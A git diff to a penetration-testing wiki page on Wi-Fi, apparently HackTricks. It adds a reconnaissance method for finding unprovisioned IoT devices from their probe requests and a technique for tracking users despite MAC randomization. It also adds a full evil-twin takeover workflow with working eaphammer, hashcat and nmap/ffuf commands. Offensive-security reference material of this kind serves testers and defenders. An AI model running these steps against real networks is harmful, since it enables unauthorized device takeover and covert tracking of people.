diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md
index 192cd3f2b08..9c212d11ba0 100644
--- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md
+++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md
@@ -677,6 +677,31 @@ For the generic routed-isolation version of this idea, also see:
 - Directed probe requests target a specific ESSID, helping detect if a particular network is within range, even if it's a hidden network.
 - Broadcast probe requests have a null SSID field and are sent to all nearby APs, letting the station check for any preferred network without disclosing its PNL contents.
 
+### Probe-request reconnaissance for setup-mode IoT devices
+
+Some IoT devices that were **never provisioned** by their owner, or that were reset back to onboarding mode, keep sending **directed probe requests** for a hardcoded setup SSID. This is useful for **city-scale passive discovery** because the attacker does not need to transmit first: just collect probe requests, cluster them by SSID/vendor OUI, and revisit the coordinates later with an evil-twin setup.
+
+**Recon workflow:**
+
+1. Capture **directed probe requests** (`wlan.fc.type_subtype == 4`) and keep **SSID + source MAC + channel + GPS**.
+2. Group repeated SSIDs across locations and enrich the MACs with **vendor OUIs**.
+3. **Filter common phone/laptop OUIs** first; repeatable SSIDs tied to the same embedded vendor prefix often identify a specific IoT family still waiting for onboarding.
+4. Prioritize devices probing for a **single fixed SSID** because they are usually easier to coerce into joining a rogue AP.
+
+```bash
+airodump-ng wlan0mon --write probes --output-format pcap,csv
+
+tshark -r probes-01.cap \
+  -Y 'wlan.fc.type_subtype == 4 && wlan.ssid != ""' \
+  -T fields -e frame.time_epoch -e wlan.sa -e wlan.ssid -e radiotap.channel.freq
+```
+
+### SSID-set fingerprinting despite MAC randomization
+
+MAC randomization does **not** fully prevent Wi-Fi tracking if the client leaks a **stable set of preferred SSIDs** in directed probe requests. Instead of keying on the MAC address, build a fingerprint from the **set of requested ESSIDs** (for example `{CorpWifi, Home5G, Printer-Setup}`). If the same uncommon set appears later with a different randomized MAC, you can often correlate it to the same device/user.
+
+This is especially useful in dense environments where devices probe for **2+ saved networks**: the **SSID combination** becomes the identifier.
+
 ## Simple AP with redirection to Internet
 
 Before explaining how to perform more complex attacks it's going to be explained **how** to just **create** an **AP** and **redirect** it's **traffic** to an interface connected **to** the **Internet**.
@@ -795,6 +820,33 @@ You can create an **Evil Twin using WPA/2** and if the devices have configured t
 ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
 ```
 
+### Fixed-SSID setup-mode IoT takeover workflow
+
+A practical variation of the WPA evil twin attack is abusing **commissioning/setup-mode IoT clients** that continuously probe for a **fixed WPA SSID**. In this case the goal is not just credential capture from a laptop/phone, but to force the appliance to join attacker-controlled infrastructure and then enumerate its **local management plane**.
+
+**Abuse flow:**
+
+1. Bring up a rogue AP with the **same SSID** and **same security mode** the device is probing for.
+2. Capture the **association/EAPOL material** emitted during connection attempts.
+3. Convert the capture and run an **offline dictionary attack** against the expected PSK.
+4. Re-create the AP with the recovered **real PSK** so the IoT device completes association.
+5. Enumerate the new DHCP client like any other LAN host (`nmap`, web fuzzing, mobile-app/API reversing, etc.).
+
+```bash
+# Rogue WPA-PSK AP
+./eaphammer -i wlan0 -e exampleSSID -c 11 --auth wpa-psk --creds
+
+# Crack the captured WPA material offline
+hcxpcapngtool -o wifi.22000 capture.pcapng
+hashcat -m 22000 wifi.22000 wordlist.txt
+
+# After the device joins your AP
+nmap -sV -Pn <device_ip>
+ffuf -u http://<device_ip>/FUZZ -w raft-small-words.txt -mc all
+```
+
+If brute force fails against the exposed HTTP/API endpoints, inspect **public mobile apps, Home Assistant integrations, client libraries, or recovered firmware** before guessing passwords forever. IoT onboarding stacks frequently reuse **static local credentials**, undocumented Basic Auth pairs, or custom request formats that are already documented by third-party reverse engineering.
+
 ### Enterprise Evil Twin
 
 To understand this attacks I would recommend to read before the brief [WPA Enterprise explanation](#wpa-enterprise-mgt).
@@ -993,6 +1045,8 @@ Some consumer IoT relays/controllers keep the commissioning **open AP** active a
 
 For persistence, leave the commissioning AP enabled.
 
+TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
+
 ## References
 
 - [https://www.pentestpartners.com/security-blog/shelly-iot-door-controller-config-fail-leaving-your-garage-home-and-security-exposed/](https://www.pentestpartners.com/security-blog/shelly-iot-door-controller-config-fail-leaving-your-garage-home-and-security-exposed/)
@@ -1015,6 +1069,9 @@ For persistence, leave the commissioning AP enabled.
 - [AirSnitch: Demystifying and Breaking Client Isolation in Wi-Fi Networks](https://www.ndss-symposium.org/ndss-paper/airsnitch-demystifying-and-breaking-client-isolation-in-wi-fi-networks/)
 
 
-TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
+- [The Secret Life of Probe Requests: Mitsubishi IoT Discovery and Control via Setup-Mode Wi-Fi](https://innerfirez.github.io/posts/the-secret-life-of-probe-requests/)
+- [Mitsubishi wifi adapter](https://blog.dest-unreach.be/2022/06/04/mitsubishi-wifi-adapter/)
+- [pymitsubishi/mac-577if-e](https://github.com/pymitsubishi/mac-577if-e)
+- [Mitsubishi Electric advisory 2026-001](https://www.mitsubishielectric.com/psirt/vulnerability/pdf/2026-001_en.pdf)
 
 {{#include ../../banners/hacktricks-training.md}}